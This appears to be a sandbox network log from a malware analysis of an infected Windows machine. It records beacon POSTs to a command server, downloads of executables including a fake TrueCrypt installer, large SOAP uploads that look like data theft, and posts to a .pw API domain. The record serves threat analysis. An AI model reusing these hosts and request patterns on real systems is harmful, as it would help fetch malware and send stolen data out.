ResponseHTTP/1.1 404 Not Found
Date: Fri, 17 Nov 2023 16:06:23 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 37
Keep-Alive: timeout=5, max=97
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
-
POSThttp://5.42.92.190/fks/index.phpRemote address:5.42.92.190:80RequestPOST /fks/index.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://gjjwpkcimxxdgr.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 312
Host: 5.42.92.190
ResponseHTTP/1.1 404 Not Found
Date: Fri, 17 Nov 2023 16:06:23 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 412
Keep-Alive: timeout=5, max=96
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
-
POSThttp://5.42.92.190/fks/index.phpRemote address:5.42.92.190:80RequestPOST /fks/index.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://feyvmwkmmsipf.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 138
Host: 5.42.92.190
ResponseHTTP/1.1 404 Not Found
Date: Fri, 17 Nov 2023 16:06:23 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 45
Keep-Alive: timeout=5, max=95
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
-
POSThttp://5.42.92.190/fks/index.phpRemote address:5.42.92.190:80RequestPOST /fks/index.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://qdbihkuhbanrh.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 159
Host: 5.42.92.190
ResponseHTTP/1.1 404 Not Found
Date: Fri, 17 Nov 2023 16:06:24 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 412
Keep-Alive: timeout=5, max=94
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
-
POSThttp://5.42.92.190/fks/index.phpRemote address:5.42.92.190:80RequestPOST /fks/index.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://owqgytiwgirqwcy.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 289
Host: 5.42.92.190
ResponseHTTP/1.1 404 Not Found
Date: Fri, 17 Nov 2023 16:06:25 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 53
Keep-Alive: timeout=5, max=93
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
-
GEThttp://194.49.94.72/1.exeRemote address:194.49.94.72:80RequestGET /1.exe HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: 194.49.94.72
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:06:23 GMT
Server: Apache/2.4.29 (Ubuntu)
Last-Modified: Wed, 15 Nov 2023 20:36:00 GMT
ETag: "45600-60a36d9e76d64"
Accept-Ranges: bytes
Content-Length: 284160
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/x-msdos-program
-
GEThttp://194.49.94.145/traffico.exeRemote address:194.49.94.145:80RequestGET /traffico.exe HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: 194.49.94.145
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:06:24 GMT
Server: Apache/2.4.29 (Ubuntu)
Last-Modified: Thu, 16 Nov 2023 16:34:23 GMT
ETag: "6ed14-60a4797a219c1"
Accept-Ranges: bytes
Content-Length: 453908
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/x-msdos-program
-
DNS72.94.49.194.in-addr.arpaRemote address:8.8.8.8:53Request72.94.49.194.in-addr.arpaIN PTRResponse
-
GEThttp://194.49.94.120/TrueCrypt_lDwnwJ.exeRemote address:194.49.94.120:80RequestGET /TrueCrypt_lDwnwJ.exe HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: 194.49.94.120
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:06:25 GMT
Server: Apache/2.4.29 (Ubuntu)
Last-Modified: Wed, 15 Nov 2023 20:19:53 GMT
ETag: "1186000-60a36a043a58d"
Accept-Ranges: bytes
Content-Length: 18374656
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/x-msdos-program
-
DNS145.94.49.194.in-addr.arpaRemote address:8.8.8.8:53Request145.94.49.194.in-addr.arpaIN PTRResponse
-
POSThttp://194.49.94.11/Remote address:194.49.94.11:80RequestPOST / HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"
Host: 194.49.94.11
Content-Length: 137
Expect: 100-continue
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
ResponseHTTP/1.1 200 OK
Content-Length: 212
Content-Type: text/xml; charset=utf-8
Server: Microsoft-HTTPAPI/2.0
Date: Fri, 17 Nov 2023 16:06:26 GMT
-
POSThttp://194.49.94.11/Remote address:194.49.94.11:80RequestPOST / HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"
Host: 194.49.94.11
Content-Length: 144
Expect: 100-continue
Accept-Encoding: gzip, deflate
ResponseHTTP/1.1 200 OK
Content-Length: 4744
Content-Type: text/xml; charset=utf-8
Server: Microsoft-HTTPAPI/2.0
Date: Fri, 17 Nov 2023 16:06:31 GMT
-
POSThttp://194.49.94.11/Remote address:194.49.94.11:80RequestPOST / HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"
Host: 194.49.94.11
Content-Length: 1792140
Expect: 100-continue
Accept-Encoding: gzip, deflate
ResponseHTTP/1.1 200 OK
Content-Length: 147
Content-Type: text/xml; charset=utf-8
Server: Microsoft-HTTPAPI/2.0
Date: Fri, 17 Nov 2023 16:06:38 GMT
-
POSThttp://194.49.94.11/Remote address:194.49.94.11:80RequestPOST / HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"
Host: 194.49.94.11
Content-Length: 1792132
Expect: 100-continue
Accept-Encoding: gzip, deflate
ResponseHTTP/1.1 200 OK
Content-Length: 261
Content-Type: text/xml; charset=utf-8
Server: Microsoft-HTTPAPI/2.0
Date: Fri, 17 Nov 2023 16:06:38 GMT
-
DNS120.94.49.194.in-addr.arpaRemote address:8.8.8.8:53Request120.94.49.194.in-addr.arpaIN PTRResponse
-
DNS11.94.49.194.in-addr.arpaRemote address:8.8.8.8:53Request11.94.49.194.in-addr.arpaIN PTRResponse
-
DNSapi.ip.sbRemote address:8.8.8.8:53Requestapi.ip.sbIN AResponseapi.ip.sbIN CNAMEapi.ip.sb.cdn.cloudflare.netapi.ip.sb.cdn.cloudflare.netIN A172.67.75.172api.ip.sb.cdn.cloudflare.netIN A104.26.12.31api.ip.sb.cdn.cloudflare.netIN A104.26.13.31
-
GEThttps://api.ip.sb/geoipRemote address:172.67.75.172:443RequestGET /geoip HTTP/1.1
Host: api.ip.sb
Connection: Keep-Alive
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:06:32 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 369
Connection: keep-alive
vary: Accept-Encoding
vary: Accept-Encoding
Cache-Control: no-cache
access-control-allow-origin: *
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=jluYb1PcIJspGCIOqtCuf%2FW4gB6JMWaZ%2FtAArNJjjYk9Mz%2FX3YWKzP1iLc4xPPpQG3kWOfIwFseIsIHqvh7YEzDpsNj%2BazBFKnuscqK%2Bj2tH2tCRMDd6a6EidQ%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Server: cloudflare
CF-RAY: 827938b5b993b97e-AMS
alt-svc: h3=":443"; ma=86400
-
DNS172.75.67.172.in-addr.arpaRemote address:8.8.8.8:53Request172.75.67.172.in-addr.arpaIN PTRResponse
-
DNS57.169.31.20.in-addr.arpaRemote address:8.8.8.8:53Request57.169.31.20.in-addr.arpaIN PTRResponse
-
POSThttp://5.42.92.190/fks/index.phpRemote address:5.42.92.190:80RequestPOST /fks/index.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://fwblnlritpsobhkm.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 234
Host: 5.42.92.190
ResponseHTTP/1.1 404 Not Found
Date: Fri, 17 Nov 2023 16:06:52 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 412
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
-
POSThttp://5.42.92.190/fks/index.phpRemote address:5.42.92.190:80RequestPOST /fks/index.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://hxrjqnukurxgwm.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 166
Host: 5.42.92.190
ResponseHTTP/1.1 404 Not Found
Date: Fri, 17 Nov 2023 16:06:52 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 53
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
-
GEThttp://194.49.94.120/TrueCrypt_vlBfql.exeRemote address:194.49.94.120:80RequestGET /TrueCrypt_vlBfql.exe HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: 194.49.94.120
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:06:52 GMT
Server: Apache/2.4.29 (Ubuntu)
Last-Modified: Thu, 16 Nov 2023 19:32:20 GMT
ETag: "1015e00-60a4a14104e88"
Accept-Ranges: bytes
Content-Length: 16866816
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/x-msdos-program
-
DNSknittinprophec.pwRemote address:8.8.8.8:53Requestknittinprophec.pwIN AResponseknittinprophec.pwIN A172.67.207.245knittinprophec.pwIN A104.21.58.216
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 8
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:03 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=30qcf8bem1sq4jcodviubfvlms; expires=Tue, 12 Mar 2024 09:53:42 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:03 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ONaDQ8FCMdeVfO36tZ%2BgpWrbArPFULgyzXjwL1%2Bp34863yiwXXEKcxhwwoW2XKViVkjNSCK0EAOcmhC0j4%2FCT4n241%2FGQ0oL0x%2BfrumVFRtTcBu6%2Ft%2BqWb%2Fc72pqBw8VoCRC0w%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 827939762b6e0b75-AMS
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 527
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:05 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=nqsb5879njpn7574gttt1agtbc; expires=Tue, 12 Mar 2024 09:53:44 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:05 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ekB4falov5lOIVfpIkuIo29a8ZnWoxOYZQ18t%2BD4B5SP9%2BXcolAhEXdTVquIuEB6pwyeeyDv6yXoky%2B%2B0FV5m8BQ8pVBzvTtVIixBrnH88D7JC%2FrguNXnwNYG1uSQjv7j20mfQ%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 8279397efe8a0b75-AMS
-
DNSknittinprophec.pwRemote address:8.8.8.8:53Requestknittinprophec.pwIN AResponseknittinprophec.pwIN A172.67.207.245knittinprophec.pwIN A104.21.58.216
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Host: knittinprophec.pw
Content-Length: 47
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:04 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=5nrem905ttnkge9kloukkm4mio; expires=Tue, 12 Mar 2024 09:53:43 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:04 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=bUxuQl26G2T%2Fyg8QCAHn8STlVq%2FigJqIqLrgVR2282Xr0TLcoIeUis0X%2BGPIhn6oJzJuj%2Bd%2FBXlQEvUSaL6NPN2qlDe5mGjhyd4UFYaQgGwCL1Cpn1SFp0VJwYN636rdq2iGUQ%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 8279397a7df36562-AMS
-
DNS245.207.67.172.in-addr.arpaRemote address:8.8.8.8:53Request245.207.67.172.in-addr.arpaIN PTRResponse
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 527
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:05 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=jiuu0uvnm4eq8osn0s03dje9bg; expires=Tue, 12 Mar 2024 09:53:44 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:05 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=SNHm58vGylq%2F2hKZW5%2F02JI00nVqOkhasTIoPv2yGaUYRsdDeVxgJxLAXYo8LjMAFgHt4hVKWkAm41SJmMMlxGgXAO5KOcjUABJZcYH0jNkO%2FVXu4H7gcGLLsilZTelOcaxd%2BA%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 827939821fe7668b-AMS
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 527
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:06 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=drsc6o1kr4dvig938gv82sv32n; expires=Tue, 12 Mar 2024 09:53:45 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:06 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=2DKl8Bifgi1XyHou3IcQ%2Fx68wyrWYfa3N8VS44VcPl9%2FTOqKDjYJvpNqheRoRpC3yqGD8nd8%2BiVlRh1W3jSqFslKyvGEs1B5FDQp9QrW%2FiABjcVQNffX3arzqQ%2F9qBm9Bb1zrw%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 827939862f8f6718-AMS
-
POSThttp://5.42.92.190/fks/index.phpRemote address:5.42.92.190:80RequestPOST /fks/index.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://oiyxnvvjlphgtyoq.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 143
Host: 5.42.92.190
ResponseHTTP/1.1 404 Not Found
Date: Fri, 17 Nov 2023 16:07:06 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 412
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
-
POSThttp://5.42.92.190/fks/index.phpRemote address:5.42.92.190:80RequestPOST /fks/index.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://nwxiwvajyph.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 311
Host: 5.42.92.190
ResponseHTTP/1.1 404 Not Found
Date: Fri, 17 Nov 2023 16:07:06 GMT
Server: Apache/2.4.41 (Ubuntu)
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8
-
POSThttp://5.42.92.190/fks/index.phpRemote address:5.42.92.190:80RequestPOST /fks/index.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://rxgrxcltdpygk.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 200
Host: 5.42.92.190
ResponseHTTP/1.1 404 Not Found
Date: Fri, 17 Nov 2023 16:07:06 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 412
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
-
POSThttp://5.42.92.190/fks/index.phpRemote address:5.42.92.190:80RequestPOST /fks/index.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://kahmmrngkwsjlq.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 203
Host: 5.42.92.190
ResponseHTTP/1.1 404 Not Found
Date: Fri, 17 Nov 2023 16:07:07 GMT
Server: Apache/2.4.41 (Ubuntu)
Keep-Alive: timeout=5, max=97
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8
-
POSThttp://5.42.92.190/fks/index.phpRemote address:5.42.92.190:80RequestPOST /fks/index.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://aumekumunrlualo.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 286
Host: 5.42.92.190
ResponseHTTP/1.1 404 Not Found
Date: Fri, 17 Nov 2023 16:07:10 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 412
Keep-Alive: timeout=5, max=96
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
-
POSThttp://5.42.92.190/fks/index.phpRemote address:5.42.92.190:80RequestPOST /fks/index.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://fhrqwlvfnnhug.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 110
Host: 5.42.92.190
ResponseHTTP/1.1 404 Not Found
Date: Fri, 17 Nov 2023 16:07:10 GMT
Server: Apache/2.4.41 (Ubuntu)
Keep-Alive: timeout=5, max=95
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8
-
POSThttp://5.42.92.190/fks/index.phpRemote address:5.42.92.190:80RequestPOST /fks/index.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://mgqtvehdlta.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 194
Host: 5.42.92.190
ResponseHTTP/1.1 404 Not Found
Date: Fri, 17 Nov 2023 16:07:11 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 412
Keep-Alive: timeout=5, max=94
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
-
POSThttp://5.42.92.190/fks/index.phpRemote address:5.42.92.190:80RequestPOST /fks/index.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://jnxtvjgjaacfm.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 267
Host: 5.42.92.190
ResponseHTTP/1.1 404 Not Found
Date: Fri, 17 Nov 2023 16:07:11 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 100
Keep-Alive: timeout=5, max=93
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
-
POSThttp://5.42.92.190/fks/index.phpRemote address:5.42.92.190:80RequestPOST /fks/index.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://ufwvmnhvmlheb.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 334
Host: 5.42.92.190
ResponseHTTP/1.1 404 Not Found
Date: Fri, 17 Nov 2023 16:07:12 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 412
Keep-Alive: timeout=5, max=92
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
-
POSThttp://5.42.92.190/fks/index.phpRemote address:5.42.92.190:80RequestPOST /fks/index.php HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://xxwmvqpntljtflpg.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 221
Host: 5.42.92.190
ResponseHTTP/1.1 404 Not Found
Date: Fri, 17 Nov 2023 16:07:12 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 412
Keep-Alive: timeout=5, max=91
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 527
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:07 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=70fskc0q2590vcmt4coq9jeh8l; expires=Tue, 12 Mar 2024 09:53:45 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:06 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=NFBi9c3moxZBP3zyG2SV6tIlT%2Fh9VDpIDEjnWYNBeaStgpJN7R2wDg4NUG8N%2BVrWFEmrY8sjmyka2Wac9zAGXXVbYfgFEAdY%2BgvfUyi4RUENBC5cnibpfQXOP21ncUJ9XkqiiQ%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 82793989d84b6615-AMS
-
POSThttp://knittinprophec.pw/apiRemote address:172.67.207.245:80RequestPOST /api HTTP/1.1
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Content-Length: 527
Host: knittinprophec.pw
ResponseHTTP/1.1 200 OK
Date: Fri, 17 Nov 2023 16:07:07 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.2.7
Set-Cookie: PHPSESSID=lt2ubtke43prpejto8e1d9k2jk; expires=Tue, 12 Mar 2024 09:53:46 GMT; Max-Age=9999999; path=/
Set-Cookie: xdober_setting_show_country=1; expires=Tue, 16 Jan 2024 16:07:07 GMT; Max-Age=5184000; path=/
Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/
